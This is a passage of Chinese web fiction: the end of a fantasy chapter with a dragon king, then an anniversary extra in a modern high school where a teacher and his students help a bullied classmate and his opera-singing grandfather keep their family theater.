“好了,我也不为难你们小辈了,方才只是吓你们一下,要是你们真答应了,我们龙族还不想要呢。”老龙王这下子让侍从们上的不是茶,而是上好的美酒。 “不必拘束,这是强者该有的礼遇。” 秦兰时看着桌面上的酒杯,抬手将其举起,酒液晃动着,而其中倒映着一张似笑非笑的美人脸。 “还记得吗?当初你就爱喝这一口酒呢。”老龙王和之前一样在笑,看上去特别的开心。 “……你错了,我当初喝的不是这口酒。”秦兰时语气很是冷漠地拆穿老龙王那错误的记忆,“更何况后边的事情都是你和我师父师兄交流的,我们还没那么熟。” 老龙王:…… 他倒也不恼,而是问了一句,“那你当初喝的是什么?” “嗯,自然是你们龙族招待强者用的——英雄醉。”秦兰时浅笑着,将那酒杯懒散地往旁边一放,接着就慢悠悠地往回躺去。 “英雄醉嘛,自然你想喝多少就喝多少。”老龙王闻言就转头和旁边的侍从说了几句,侍从点点头就退了下去,看那样子应该是去拿酒了。 “…您……”秦兰时看着老龙王好一会儿后,随后深思熟虑地开口道,“看上去好像老了不少。” “岁数大了,是这样的。”老龙王依旧不生气,甚至还承认了,“不管是什么样的种族,总会有那一天的,只是时间长短的问题。” “你的儿女知道吗?”秦兰时换了个姿势,让自己躺得更加舒服。 “…轻轻或许还不知道。”老龙王摸了摸发白的胡须。 想想那丫头回家的开心样,秦兰时也觉得她应该不太清楚。 “你们孤立轻轻这孩子,我真为轻轻感到悲伤。”秦兰时很是实诚地说出自己的观点,接着,他又特别直接地问道,“这次我们是真的路过吧?你们龙族不会有什么事情等着我们吧?我这次还带着我心爱的弟子,我可不想被卷进来。” 老龙王没说话。 秦兰时:…… “你……”秦兰时站了起来,似乎打算转头就走人。 “走不了的。”老龙王在上方发话了,他看上去像是疲惫了好久,声音都有些发虚,“是我让轻轻带你们回来的。” 秦兰时默默拔出了剑,老龙王抬手摇晃了起来,似乎在拒绝这种施暴行为。 “为什么走不了?”秦兰时浑身散发着杀气,一副要是老龙王不说就把他砍了的模样。 “…你也就敢在我虚弱的时候发作了。”老龙王这话也不知在抱怨什么。 “抱歉啊陛下,我们人类有句成语叫做兵不厌诈。”秦兰时笑着将剑对着地板划了一下,一道深深的剑痕就那么出现了。 “…走不了是因为……”老龙王端正了一下坐姿,来让自己看上去依旧那么有威严,就在这时,英雄醉也被人抬了上来,“英雄醉在挽留你。” 秦兰时:? 有病。 周年庆番外·少年,请勇往直前 随清学院是本a市里头的第一高中,在这里上学的学子不是成绩优秀就是某项能力出众,这里有不少的名师,有最雄厚的师资…… 以上,都是这个随清学院对外宣传的美好形象之一。 这一天,苏岭月校长怒气冲冲地打开了大门,会议室里头老师们已经坐好了,但是他眼睛尖锐地发现了一个在开小差的老师,手机打横在手上,不是在看电视剧就是在打游戏。 “秦老师,现在是会议时间。”苏岭月用文件袋敲了敲桌面,一脸严肃地道。 其他老师纷纷看了过来,一副早就见怪不怪的模样,而被发现的秦老师脸皮子厚得很,丝毫没有被发现的羞耻,而是在手机上点了点,就放回了兜里。 “好的校长,没问题的校长。”秦兰时一副正襟危坐的模样,看上去很像那么一回事。 但是苏岭月知道,这家伙还是把他的话当耳边风,要是有时间,他真想把这个不知天高地厚的秦老师留下来好好训一下话,只不过现在他需要吩咐点事情,只能先作罢。 “近些日子以来,我们的学院好像出现了不少问题,尤其是学生,你们这些当老师的怎么管教学生的!!”说着,苏岭月校长大力拍了一下桌子,怒吼出声,“上次在领导过来巡视的时候,我们居然有学生在打架,简直岂有此理,遇到这种事情为什么你们不去解决。” “这很显然不是一次两次了!”苏岭月越说越急,这次的事情显然威胁到了他们随清学院的优良作风了,这不能不急。 旁边的顾延清老师给他倒了一杯水,苏岭月接过水咕噜咕噜喝上了一大口,“瞧瞧,你们学学顾级长,多有眼见力。” 燕明华打了个哈欠,她正百般无聊地看着桌上的文件,上面满是让人困意浓浓的官话,随后她抬起头道,“校长,上次那闹事的学生不是我那个班的,这事我也不好管呀,再说了,我带的是艺术班。” “校长,我只是个校医。”宋鸠也跟着开口道。 孟江离拘谨地抠了抠手指,也附和了一句,“校长,我带的体育生虽然个个瞧着强壮,实际上真遇到打架,我都是告诉他们跑快点的。” 而顾延清就更不用说了,他带的是尖子班,而他带尖子班里的学生个个都内卷得非常厉害,非要说,他们都是书呆子,对打架这种根本没有兴趣,还不如刷题好玩。 梁均默默表示他是财务部的,这和他没有关系,他就是过来凑人头听训的。 最后,众人的目光落在了秦兰时身上,因为秦兰时带的班算是这个随清学院的成绩垫底班,简称差生班,里头的问题说大也不是很大,也就是个个不怎么爱学习,可要说不爱学习,其实他们的差生班丢出去也是能碾压一群普通学生的。 但是这个班里头,最大的问题还是它的班主任秦兰时,试问,到底有哪个班主任可以带着学生去偷校长室外边种的葱。 至少在这个学院里头是独一份,这也就导致秦兰时带出的学生个个特立独行得很。 “校长,这次我可是冤枉啊,这次打架的学生里头可没有我的学生,我的学生是绝对不会打架的好吧?”秦兰时举手投降了,随后他侧头看了一眼那边的顾延清,“真要说一个,里头好像有个学生是顾级长那个班的。” “什么?这话当真??”苏岭月瞬间换了个人瞪了。 “校长,谢同学应该是被卷进去的。”顾延清叹了口气,随后告诉诸位真相,而真相就是谢璟拿着书路过了那群打架的学生,并且被迫拉过去帮忙打架的。 “…行吧,总之,我不希望这件事再次发生。”苏岭月坐了回去,方才他生气的时候都是站着演讲的,“好了,都回去吧。” 众老师齐齐走人,离开会议室后,他们都纷纷讨论起教学生的艰辛,而秦兰时则露出了无聊的眼神,他伸了个懒腰,转头看着窗外的蓝天白云。 “秦老师待会要一起去食堂吗?”燕明华笑着看过来,问道。 “不了,我去小卖部解决一下就好了,食堂都吃腻了,我不想吃了。”秦兰时摆了摆手,随后就准备离开,就在这时,顾延清拉住了他。 “怎么了?”秦兰时停住了脚步,转身等人开口。 “方才校长发了火,忘记和你说了,我们今天有个转学生要过来。” “那咋了,和我有什么关系?”秦兰时想了一下,这转学生难不成是他哪个不知道远房亲戚吗? “他按照成绩是要转你们班的。” “行行行,按成绩是吧,那么学生呢?他现在就到了吗?“秦兰时顿觉无趣,不过他也露出了一副要去干活的神态。 “嗯,在办公室等着了。”顾延清说着,就把那学生的资料交给了秦兰时,方才校长发大怒,他不好给,反正这事校长也知道。 “好,我看看啊,名字是唐山玉……”秦兰时翻开了那个学生的资料,一边翻一边往办公室那里走去,既然是自己的学生,那么作为班主任的他要带人好好认识一下学院。 “性别男……”他打开了办公室的大门,阳光自外往里洒落,大中午的太阳灿烂得很,坐在办公室的学生缓缓转过身来,看着他。 那双眼眸里映入了碎阳和他,许是瞳孔过于清澈的缘故,秦兰时能够清晰地看到自己倒映在这个孩子眼里的样子。 嗯……有点吊儿郎当了,要不要稍微正经点。 不过,长得和照片上一样清秀呢,看上去也乖乖巧巧的。 “你就是唐山玉对吧,我是秦兰时,是你的班主任。” “是的,老师。” “接下来老师带你去参观一下学院,反正也是午饭时间,先从食堂开始怎么样?” “好的,老师。” 回答得非常乖巧,没想到自己还有带这种学生的一天,秦兰时难得正经一点,防止自己哪些行为举止不小心教坏学生 可这个时候的秦兰时,怎么想也想不到,自己会混乱的打架现场里看到这位学生,那天,乌云密布,小巷子里头传出一声又一声重拳打在肉体上的声音。 “老师来了,老师来了!!”一位女学生急匆匆地带着秦兰时往这边赶,秦兰时赶过去后才发现,自己认为乖乖巧巧的唐山玉在里头拽着一个鼻青眼肿的男学生衣领子。 甚至还笑容温和地威胁起对方,“再有下次,就没有那么简单了。” “……这是什么情况?”秦兰时站在巷子外,对里头打架的唐山玉学生问出了声。 “…老师。”唐山玉看到是秦兰时就松开手,而被他打的那个学生就那么跌落在了地上,“我……我只是看不过。” “看不过?”看来这其中似乎有隐情。 秦兰时低头看了看这几个没有穿校服的学生,怎么想都觉得是对方先动的手,而唐山玉只是出于自卫而已。 “是他,是他被欺负了。”唐山玉转头指了指那个站在角落的人,秦兰时走过去一看,发现是一位瘦小的戴眼镜的男生,穿的是他们随清学院的校服。 “嘶,什么情况?细说。”秦兰时给唐山玉递上了棒棒糖,唐山玉接过了棒棒糖,指了指那边的男生,示意那个小孩子应该也需要糖吃。 秦兰时也走过去给男学生递糖了,男学生愣了一下就接过去了,并且小声地说了一句谢谢。 “所以,怎么个事,你得说说,不然我怎么给你摆平。”秦兰时已经做好了去校长室七进七出的准备了,而唐山玉解开了糖纸,把糖送入了嘴里。 “嗯,这事情我是路过的,然后我发现他在被人欺负,所以就出手帮忙了,虽然学习方面我不太行,但是这种打……”还没说完,就被秦兰时捂住了嘴。 “胡说什么,你哪会打架,你分明是在保护同学。”秦兰时瞥了唐山玉一眼,开始查看起这些学生的伤势,发现都不是很重,鉴定应该是为轻伤。 “…对,老师,我在保护同学。”唐山玉不好意思地挠了挠头,“那老师,我们现在……” “谢谢你们。”那个男生走出来鞠躬一下,把创可贴放在了唐山玉手里就跑走了。 “哎?哎?等等!你是哪个班的?!”秦兰时对着那越来越远的身影伸出了尔康手。 “…他给我创可贴做什么?”唐山玉显然有点迷茫,而秦兰时看过来后,细细打量了一番,指了指唐山玉的脸颊。 “这里,破皮了,给我吧,我给你贴上。”说着,秦兰时就取过那个创可贴,给唐山玉的脸颊受伤的地方处贴上,末了,还补充了一句,“…嗯,看上去乖乖巧巧的。” “没想到那么能打?”唐山玉抬手摸了摸那创可贴,随后伸了个懒腰,“老师,那个同学好像是我们学校的,你打算怎么办?” “嗯,这孩子我好像见过,是顾级长教的那个班的。”秦兰时认真想了想,就想出了这个孩子的身份,毕竟就算尖子班,也会出些小问题。 顾延清曾经就说过那个孤僻的谢璟,上下课总是独来独往,不与人交流,感觉就是被人孤立了一样,而顾延清去问几句才发现,是这个孩子以一人之力孤立全班。 …但是,人生不只有学习。 就算是尖子班也是有娱乐集体活动的啊!! 顾延清就这样和秦兰时那么说着,他有些担心这个孩子的心理情况,怎么问都不愿意说,但是对方的家庭情况,顾延清多多少少有点了解,家中父母有点忙,顾不上孩子多少。 “这些欺负他的好像不是我们学校的,老师你打算怎么做?”唐山玉指了指还在地上趴的,还没等他说完,秦兰时就一把将唐山玉推出去,“老师解决,你先回去学习吧。” “哦……”唐山玉乖乖地走了。 与此同时,秦兰时也拨打了电话给苏校长,“校长啊,就是有些事情……” …… 次日,唐山玉来到了学校,不过他没有去班级,而是前往了尖子班,尖子班的学习氛围果然无比浓郁,唐山玉在远处就已经感觉到了。 这一大早的,这群书呆子还真能卷。 这样想着,唐山玉往尖子班那里探了个头,他看了看那位男同学今天有没有来,扫视了一遍后,发现人来了,今天应该是没有被欺负,这才安心地准备缩回脑袋,才缩一半呢,他就感觉到身后有人。 唐山玉转头一看,发现孤立所有人的年级第一谢璟背着书包站在他后边,正直勾勾地看着他这个可疑人士。 “同学,我只是想来找朋友的。”唐山玉哈哈一笑,随后解释道。 而谢璟直接无视了唐山玉,越过他走进了教室,来到自己的座位上,并且打开了书包,拿出里面的习题开始做起来,而那个被欺负的男生居然是他同桌。 “…还真的有点巧。”唐山玉愣了一下,就回去了,也不知道那群人还会不会欺负人。 这天下午,学院开展了社团招新,唐山玉也兴趣盎然地逛起了各个社团来,其中戏曲社团的人很多,好多男生围在那里,正朝着里面探头探脑的。 “兄弟,这里怎么那么多人?”初来乍到的唐山玉自然啥也不懂,随后他拍了拍一个男生的肩膀问了一句。 “嘿,你不知道吗?咱们学院的校花慕轻轻也加入这个戏曲社团,我们啊,就想着能不能也加入进去,和校花共事呢!” “不过说出来,慕校花平时对这些不是很感兴趣啊,她要加入也是加入音乐社团吧?这戏曲社团有什么好玩的?” “你懂个什么,慕校花加入这个社团一定有她的道理!”男生怒而反驳了这个质疑的发言。 唐山玉不会戏曲,但是偶尔也听过几段儿,反正还挺好听的,不过他没打算加入任何社团,就在他正准备离开的时候,他发现那天被欺负的男生也混在里头。 ……这慕校花的名头就那么厉害吗? 唐山玉摇了摇头,觉得自己就像个刚刚出来的山顶洞人一样,并不理解这些男生的激动点。 还没等唐山玉离开呢,那个男生就率先走了,不知道为什么,唐山玉在那个男生的脸上看出了一丝落寞。 …有点在意啊。 唐山玉想了想,就去找了班主任秦兰时,这个时候的秦兰时正帮助他的学生爬树上掏鸟蛋呢。 “秦老师,我有事想要找你。”唐山玉站在树下,看着树上的秦兰时,突然,他愣了一下,然后指了指秦兰时的裤子,“老师,你的裤子好像崩开了。” 秦兰时:??? 吓得秦兰时急匆匆地从树上爬下来,用手捂住自己的屁股,发现真的崩了,就苦哈哈地捂住自己的裤子准备去找个地方换掉。 不对,在那之前他应该找人借条裤子才对。 但是这个捂屁股姿势是不是太不优雅了。 还没等秦兰时想出法子,唐山玉就脱下自己的校服外套,围在了秦兰时的腰间,并且用袖子系了个结。 “哇,谢谢啊,对了,你找我什么事。“秦兰时把鸟蛋递给了他的糟心学生,在那学生快乐地离开后,他才转头问向了唐山玉。 “之前那个事情怎么样了?”唐山玉那么问着,然后无比自然地带着秦兰时前往了小卖部,并且果断牺牲了秦兰时的零钱,买了两瓶饮料。 俩人手里拿着饮料,其乐融融地站在便利店外边的大树下,秦兰时拧开了饮料往嘴里倒去,爽哎了一声后,就继续道,“啊,那个事情啊,我让苏校长去找那几个学生的校长谈话了。” “哦,意思是解决了吗?”唐山玉咕噜咕噜地喝着饮料。 “再不解决大人就显得很无用啦。”秦兰时摆了摆手,将已经空了的饮料罐丢进了垃圾桶里。 “那几个学生估计已经被通报批评了嘿嘿,对了,山玉,你新学期怎么样?有没有交到新朋友啊?” “我?有啊,开学第一天,有个体育生打球的时候,球砸到了我的脸,然后我们俩就这样交上了朋友。”唐山玉想了想,那一天脑袋是真的特别痛呢,“他事后请了我吃了几顿食堂,对了,他名字叫石泽竹。” 秦兰时:? 好一个球之孽缘。 不过石泽竹不就是孟老师经常夸的学生吗?说这孩子可以为学校争光什么的。 “挺好挺好……”秦兰时听到唐山玉新学期过得不错,也就放心了一点,“那有没有加入社团的打算?” “没有。”唐山玉淡淡地说着,“对我来说,早晚都要离开,参加社团除了浪费时间外没什么用。” “…好成熟的发言,孩子,人生不只有学习啊……!”秦兰时觉得唐山玉这话语过于老成了。 “?对啊,所以我打算利用不参加社团多出来的时间回家打游戏啊?” 秦兰时:…… 太真实了!!! “好好好,老师说不过你,总之,好好学习知道吗?” “老师,人生不只有学习,你让我好好打游戏,我或许还高兴一点。” “……” 或许事情已经结束了,其实事情并没有结束,几天后的放学路上,唐山玉在一家煎饼果子摊子面前停下来,准备精挑细选到底是选新奥尔良还是鸡腿。 就在这个时候,他听到了吵闹声,这吵闹声似乎在某个小角落上演着,唐山玉停止了看煎饼果子,准备前去查看。 还没等他拐进这个小角落,一个人就这样直直地飞了出来,擦着唐山玉的肩膀而过。 唐山玉:? 难不成是他想错了吗? 没有人在被欺负吗? “……那个,谢同学?”熟悉的男声自里头响起,唐山玉缓缓转过头看去。 只见谢璟刚好收起了他那条腿,显然他方才就是用腿踢人的,而与此同时,两个袋子被丢在地上,里面的书本习题散落一地。 “…你们知道你们在浪费什么时间吗?”谢璟将关节弄得咔嚓咔嚓响,他依旧是那张被人欠八百万的拽脸,“是我的做题时间。” 小混混显然没有想到这个学生什么吓人,可是他就是愣了一瞬间,就抄起旁边的铁棍子就要打上去。 就在这个时候,唐山玉一个滑铲过去,用腿将这个小混混给绊倒在了地上,避免对方再次起来,他又起身踩了人好几脚。 “嗨,你们好啊?”打完这个后,唐山玉笑眯眯地冲俩人招了招手。 “……”谢璟什么也没说。 “…是,是你?”王同学显然愣了一下。 过了一会儿后,三人一起坐在了咖啡厅里头,而谢璟把自己的习题拿出来在咖啡厅写,坐在旁边的唐山玉则是特别友好地把点好的饮料推给了对面的王同学。 “来,这是你的。” “谢谢。”王同学接过饮料后,小声地道了一句谢。 “不用谢……对了,这次找你的人好像不太一样?看上去似乎是社会上面的?”唐山玉说着,就严肃了起来,“这次事情还是告诉老师吧,不然你的人身安全会遭到威胁。” “…嗯,我知道。”王同学点了点头,显然也认真听,“…抱歉,老是让你遇到不好的事情,还有谢同学,今天也抱歉,是我对不起你们……” “别说这话,哪有受害者有罪的道理。”唐山玉晃了晃手,拒绝了这个道歉,“我只是不明白他们为什么执着于你。” “……或许,和我家里有点关系吧。”王同学抬了抬头,随后又重新低回去,“…那些混混和上次欺负我的不是一帮人,这些混混应该是那位老板找的人……最近C区不是有一起拆迁吗?我家就是其中之一。” “…是,是吗?”转学生唐山玉并没有听说过,但是依旧附和了一句。 “…我家其实是一座戏园子,这戏园子是我爷爷的爷爷传下来的,我们家并不愿意离开,就算对方老板给了一笔费用也不愿意。” 谢璟继续写习题,不过他的速度肉眼可见地慢了下来。 “爷爷说了,他不走,而我爸妈没有办法,就只能也跟着留下来,只是我爸妈是有离开的意愿的,不过留个老人家在那地方不太安全,而且一时之间也没有好的房源……” “抱歉,我是不是说太多了。”王同学回过神来,有些不好意思地抠了抠手指,“抱歉,只是我最近实在是有些……” “没事没事,能够理解。”唐山玉摇了摇头,表示这没什么人,而沉默的谢璟则被大家所忽略了。 “…我不想将这些事告诉我爸妈让他们费心,有一个就够了,我不想这次的也……因为,我真的很喜欢爷爷,本来因为这件事,我妈就对爷爷有点怨言了,我不想……” “王同学你很喜欢戏曲吗?” “!你怎么知道?” “之前看你在戏曲社团那边,好像想要加入的样子,抱歉啊哈哈哈,我不是故意看的,我真的是碰巧看到的!”唐山玉连忙解释了好几句。 “没事没事,我知道的,毕竟你之前也帮助过,我自然是相信你的……”王同学连忙摇手,说着说着,他就再次低下头,叹了口气,这一次,他似乎想要说什么,但是却有点不太想说。 “他唱戏曲很厉害。”一直沉默不语的谢璟突然开口了,这把唐山玉和王同学吓得都看了过来。 “哎?”王同学显然没有想到谢璟会那么说。 “…之前,路过音乐室听得到的,你在里面练习,当然,我只是想寻个没有人安静的地方休息而已。” “你还真是如传闻所说的那样孤立所有人,要不是要读书,你是不是连学校也孤立了。”唐山玉默默流下了一滴汗,对谢璟这个怪学生的。 谢璟没有回答这句话,而是继续看着王同学,示意他往下说,“不想说就不要说了,正好,我还想回去看书呢。” “……”王同学沉默了一下,随后他就继续往下说,谢璟不能回去看书了,“嗯,因为,这是我爷爷教我的,他一直希望我能继承他的戏院,但是我爸妈肯定不愿意啊,唱戏……又不赚钱,更何况,现在也没有人会听戏了吧。” “…而且,我也觉得爸妈说得也对,我最近已经打算放弃戏曲了。”王同学越说就情绪越低落。 “王顺英。”谢璟喊了人一声,他拍了拍书,“念书就是为了以后赚钱,这在当今社会没有错,你不必觉得自己辜负了什么。” “…谢谢。” 最后,那一天,王顺英没有再说什么,谢璟也没有再开口,而唐山玉则是转移了话题,最后,唐山玉让王顺英去警察局,他看着人过去报了案才离开的。 新的一天又要开始了。 “……轻轻,那孩子,还是没有来吗?”一位中年女子坐在音乐教室里,她看着旁边的慕轻轻,慕轻轻坐在窗边,叼着根棒棒糖,正翻看着手上的报名表。 “许老师,他没有来,不过我当初在现场看到他了,只是他就看了一眼就走了。”慕轻轻将棒棒糖拿出来说话,翻了一页报名表,“不过,这次戏曲社团虽然很多人报名,但是大部分都是好像都不是过来学习唱戏的。” “…这样啊,就没有那种感兴趣的孩子吗?” “有吧,算有吧?”慕轻轻想了想这次的报名里有两个比较积极女同学,不过她们没有学过,也不知道能不能行,名字她记得好像叫江玉瑶和张欣雅? “有也好…就算学习戏曲的人少,你看着办吧。”许老师抬头看着窗外的天空,缓缓叹了口气。 “好的,老师,那我过会和他们说~”慕轻轻眨了眨眼,从窗台上跳下来,稳稳落地,“你也别愁眉苦脸了,戏曲社团能够办起来你要开心才是。” “是啊。”许老师轻笑着摇头,“轻轻,该上课了,你小心迟到了。” “啊!那我走啦!”慕轻轻欢快地跑出了教室,离开前轻轻合上门。 离开后,慕轻轻就一直想着这件事,许老师人真的很好,她也想为戏曲社团出一份力,正想着,就想到了那个王顺英,让许老师如此在意的家伙,肯定很有实力吧? 如果他能够来社团,那么就可以试图申请一下学院晚会表演的可能性了。 到那个时候,哼哼,戏曲社团就能够做大做强了!! 所以,慕轻轻找了个时间,准备时间某位王同学,她想要找人好好谈谈,但是与此同时,她发现了另一位时间王同学的男同学。 看一眼,再看一眼,面孔非常陌生,居然还有她慕轻轻不认识的同学……懂了,他就是那个转学生吧! 那个传说中过来就为了守护同学而战的战神唐山玉!! 并不知道自己身上挂着这种神奇外号的唐山玉正隔着玻璃往里头瞧着,突然,他感觉到背后被人拍了拍,转过头去,发现是那个什么校花慕轻轻。 “…是你?” “你认识我啊!”慕轻轻有些意外,随后笑道,“这样我就不做自我介绍了,唐同学,你在这里是找人吗?” “不是,我是在盯人。”唐山玉摇了摇头,“因为我有些不放心。” “是王顺英同学吗?”慕轻轻拿出自己的棒棒糖递了一根给唐山玉。 “你也是过来找他的吗?”唐山玉接过去,拆开糖纸就放入嘴里。 “对,不如我们借一步说话?”慕轻轻指了指某个角落。 于是俩人就那么走去了角落,在他们相互了解一番经过后,慕轻轻难得叹了口气,“这样啊,原来王同学还有这样的故事,家里是事情那么多,不参加社团也是情有可原,看来我只能放弃了。” “……” “怎么了?”怎么突然那么安静,她没有说错话吧。 “我在想,王同学是真的放弃戏曲了吗?”伴随着微风,唐山玉看着外边的落叶,他抬起手接住一片,“那可是相伴了他那么久的东西,是真的要放弃了吗?” “…你这个转学生管的事情还真的多哎。” “这个啊,可能是因为我可能在这里待不久。”唐山玉闻言笑了笑,“因为我爸妈都原因,所以我经常搬家,这次也不知道会不会这样。” “那你人还挺好。” “其实不是为了他,是为了我。”唐山玉哈哈一笑,他将吃完的棒棒糖棒丢到旁边的垃圾桶里,“正因为青春只有一次,所以我才想看到更多不留遗憾的故事,因为这样我好像也不会有遗憾了。” “好像能够理解。” 因为人好像在看到开心的事情,也会感同身受地开心,就连旁人都青春一样,如果这个人活得过于美好过于灿烂了,那么这段青春,就好像是自己的一样。 “分别是一件容易让人感到遗憾的事情。”唐山玉留下了那么一句话,挥了挥手,往自己的班级走去。 日子依旧在一点一点过去。 这天,谢璟突然来找唐山玉,这个冷暴力所有人的谢璟居然来班上找唐山玉,这无比让知道他的人怀疑今天莫不是太阳从东边落下了。 “怎么了?”能够让谢璟来找他,唐山玉想来想去也就只有王顺英了,毕竟他们也算是通过王顺英认识的。 “出来说。”谢璟喊完人就留下那么一句话走出去。 俩人一起走到了走廊,因为是午休,所以走廊没什么人,而谢璟也开门见山地说了,“王顺英那边家里出事了,我之前路过听到他爷爷好像生病了,可能很快就要去住院了。” “…那戏院。” “可能会被拆,所以那位老人家不愿意去住院,但是他估计还是被送过去,王顺英因为这件事,精神不太好,已经不小心撞了我好几次了。” “…是不是你要是没被撞,就不会告诉我这件事。” “或许。” 不愧是有冷暴力所有人之称的谢璟,说出的话也是那么冰冷。 “而且班长也因为发现王顺英状态不太对,经常过来问候他,导致我刷题都不能专心了。”谢璟想起了那个班长盛知许过来的样子,为什么他还要一边过来安慰一边盘核桃,这核桃不盘会死啊,吵死人了。 “所以,你找我…是想要我去解决问题?”唐山玉认真思考了一下,觉得谢璟应该就是这个意思。 “因为你是个爱管闲事的家伙,我觉得你应该会管。”谢璟直截了当地说出他的想法,丝毫不管唐山玉爱不爱听。 “…谢谢你啊。”唐山玉这声谢谢有些咬牙切齿。 “不客气。”谢璟点了点头,一副理应如此的模样。 唐山玉:…… 硬了,拳头硬了。 “好了,我知道就那么多了,你接下来就自己……”谢璟摆了摆手,转身就打算离开,但是,他被唐山玉按住了肩膀。 谢璟:……? 转过头去,是唐山玉那意味不明的笑容,只见人凑了过来,在谢璟耳边轻声低语,“谢同学,你也不想你暗恋顾老师的事情被说出去吧?” 谢璟:…… 谢璟:?! …… 王顺英最近一直心情不好,因为爷爷,因为戏院子,还有父母时不时在自己耳边说,下次要考多少多少分这般激励着,他整个人散发着颓废的气息。 这天,是爷爷要去住院的日子,也是爷爷离开戏园子的日子,王顺英看着窗外的阳光,很明媚,他又看了看桌子上的课本,其实他想要去送送爷爷的,可是父母劝说他回来上学,说学生最要紧的就是学习。 爷爷有他们就够了,而且后边他也能去看望爷爷。 王顺英当然知道,但是,他就是有点不开心,因为他不能去送送爷爷,学习,真的比这种事情都要重要吗? 就在他的思维还在发散的时候,他的同桌谢璟拍了拍他的肩膀,这让王顺英一愣,因为平时谢璟是不会理他的,毕竟谢璟全班都不理会,怎么可能还理他这个小同桌。 “…你,你在叫我?”王顺英抬头看去,看到谢璟在看他,特别直白地看他,是他不会产生这个人或许在叫自己背后幽灵的那种,虽然他背后应该没有这种东西。 “嗯,跟我来。”谢璟点了点头,然后就让王顺英跟着他走。 王顺英跟了上去,没过一会,他就发现自己好像跟不上谢璟的步伐,谢璟好像急着带他去做什么一样,走路非常快。 只会学习的王顺英哪能跟得上谢璟的步伐,于是他很快就远远地落在了后边,就在他呼着气弯腰撑着膝盖喘气的时候,他感觉到身前有一片黑影笼罩着他。 王顺英:……? 抬头看,原来是谢璟回来了。 ……原来谢同学人那么好吗?还特地回来关心…… 还没等王顺英反应过来,谢璟直接把人扛起就跑,一路上的颠簸,让刚吃午饭没多久的王顺英有些反胃。 “谢…谢同学,你要把我……呃,带去哪里?”最后的最近,王顺英虚弱地开口询问道。 谢璟没有回答他,而是在把人扛到某处校园的角落处,只见谢璟放下人后,就熟练地扒拉起这里茂密的草丛。 王顺英缓缓抬头看起了四周,发现这里有些隐秘,而谢璟用那充满杀气的脸翻草丛的动作,让王顺英不由得脑洞大开地想起杀人抛尸的画面。 “谢…同学?”王顺英小心翼翼地喊了一声。 “闭嘴。”谢璟回得很是杀气腾腾。 王顺英捂住了嘴,他的脑子已经想到了杀人抛尸的种种案件,再结合谢璟这个举动,导致他疯狂在想自己到底有什么地方得罪了谢璟。 脑内风暴依旧,就在谢璟转过身的那一刻,往日被欺负的王顺英的在那瞬间非常熟练地就地一趴,声音求饶地开口道,“求求你!别杀我!!!我什么都会做的!!” 谢璟:? 毛病? 不过谢璟想到他的任务,就默默止住这口骂,而是将王顺英拉起来,推着王顺英往前面走去。 “…对,对不起……”王顺英嘴里还在念着抱歉词。 “再让我听到你在说对不起,我就撕了你作业。”谢璟威胁的声音在后边传来,而这个威胁成功让王顺英闭上了嘴。 王顺英被推着往前走,然后发现……出现在他眼前的不是什么棍棒刀具,而是一个狗洞。 “钻它。”谢璟推着王顺英往那边再走几步。 王顺英颤抖地转过头来,“…我能不钻吗?你要带我去哪……?” “带你去戏园。”谢璟那么说着,就松开手,转身翻上了墙,然后坐在上面居高临下地看着他。 “…去戏园……做什么?”王顺英愣住了,他没有想到是这个答案。 而谢璟回答得也很简洁,“唱戏。” 戏园子可不就是唱戏的地方么? 与此同时,王顺英爷爷正在生着气,他想要耍赖地在地上打滚,他不想要去住院,他只想回他的戏园子,那是他的一辈子。 “不去,我不去。”王爷爷气的指着自己儿子大骂,“别以为我不知道你这个不孝子打什么主意,想趁着我不在好把我的戏园子卖掉对吧?那也是你曾经生活了半辈子的地方,你怎么忍心!!” “…爸,我没有这个意思,我没有打算卖它,您就好好去住院治疗了好吗?难不成这戏园子比你的命还重要吗!!”王叔叔听到这话,很是生气地道,但是一想到这是自己父亲,又放缓了语气,“真的,爸,你信我。” 就在俩人还在争执的时候,不知道什么时候站在旁边的唐山玉笑眯眯地和他们打了一声招呼,“你们好啊。” “…你谁啊?”王叔叔猛地往后退一步,在看到唐山玉身上和自己儿子一样的校服后,他皱了皱眉,“现在是上课时间,你作为一个学生为什么会出现在这里。” “我来接王爷爷去看戏啊。”唐山玉说着,转头看向了王爷爷,“走吧?王爷爷,听说是这场戏是咱们的王顺英同学唱的《将军山》。” “将军山?”一听到熟悉的名字,王爷爷顿时就眼睛亮了起来,再一听到是王顺英唱的,他略微思索了一下,就点头答应了,“好,走,咱们听戏去。” “不行,爸,你现在要去住院治疗!!”王叔叔着急地拦住了王爷爷,随后又看了一眼王阿姨,“王顺英那小子怎么回事?他不是应该去上课吗?为什么要去唱戏,我不是早让你跟他说不要唱那什么……” 还没说完,王叔叔就被王爷爷踹了一脚,而接下来他看到的是王爷爷那气的胡须乱飞的脸,“看不起唱戏的?!你老爹我就是唱戏的,唱了一辈子的戏,你个臭小子敢看不起我,长胆子了啊?!” “爸!我,我不是那个意思!!” “那你是几个意思!”王爷爷中气十足地吼完自己儿子后,就抬脚往唐山玉那边走去,“走吧,小同学,再不去,戏就开场了。” “好的,来,这是我的自行车后座,您坐稳点。” 另一边…… “轻轻?慕轻轻?”讲台上的燕明华点起了名字,突然,她发现自己最喜欢的学生好像不在。 “咦?有人看到慕轻轻去哪里了吗?还有江玉瑶和张欣雅同学呢?”燕明华扫视了下边的同学一圈,还是没有找到人,甚至发现还少了几个同学。 “老师……慕同学说了……”有个学生举起了手,“她……” …… “泽竹今天怎么没有来训练?他那个队伍的人怎么都不在?”孟江离阴暗地抓住一个体育生正在不停地摇晃着,“是谁?是谁带他逃训练的?” 小小年纪学什么不好,学这个。 “…老…老师……”被抓住的体育生正在瑟瑟发抖,“那个,泽竹他之前说了,他……” “说什么?”孟江离的神情越来越阴暗了。 …… “……班长,谢璟和王顺英去哪里了?”顾延清站在讲台上,面无表情地扫视着下边因为这句话而紧张的同学。 “报告老师,他们好像午休后就出去了。”盛知许站起来,回答了顾延清的提出的问题,“需要我配合老师去找人吗?” “……”顾延清微微皱起了眉头,那张面无表情的脸让人看不懂他到底在想些什么。 …… “…你说什么?唐山玉带着他们去干什么了?”秦兰时似乎有些不敢置信,他打算让人再说一遍,方才那句中二的话语真的假的? “报告老师!唐山玉同学说……”这个学生嘿嘿一笑,然后无比中二地指向了窗外的蓝天白云,此时此刻,那里有飞鸟跃过云层,展翅高飞。 “他们要去托起一个即将要掉落的梦想!!” 周年庆·你问我答 问:山芋和兰时各自对彼此的第一印象。(老乡见老乡,两眼泪汪汪。) 答: 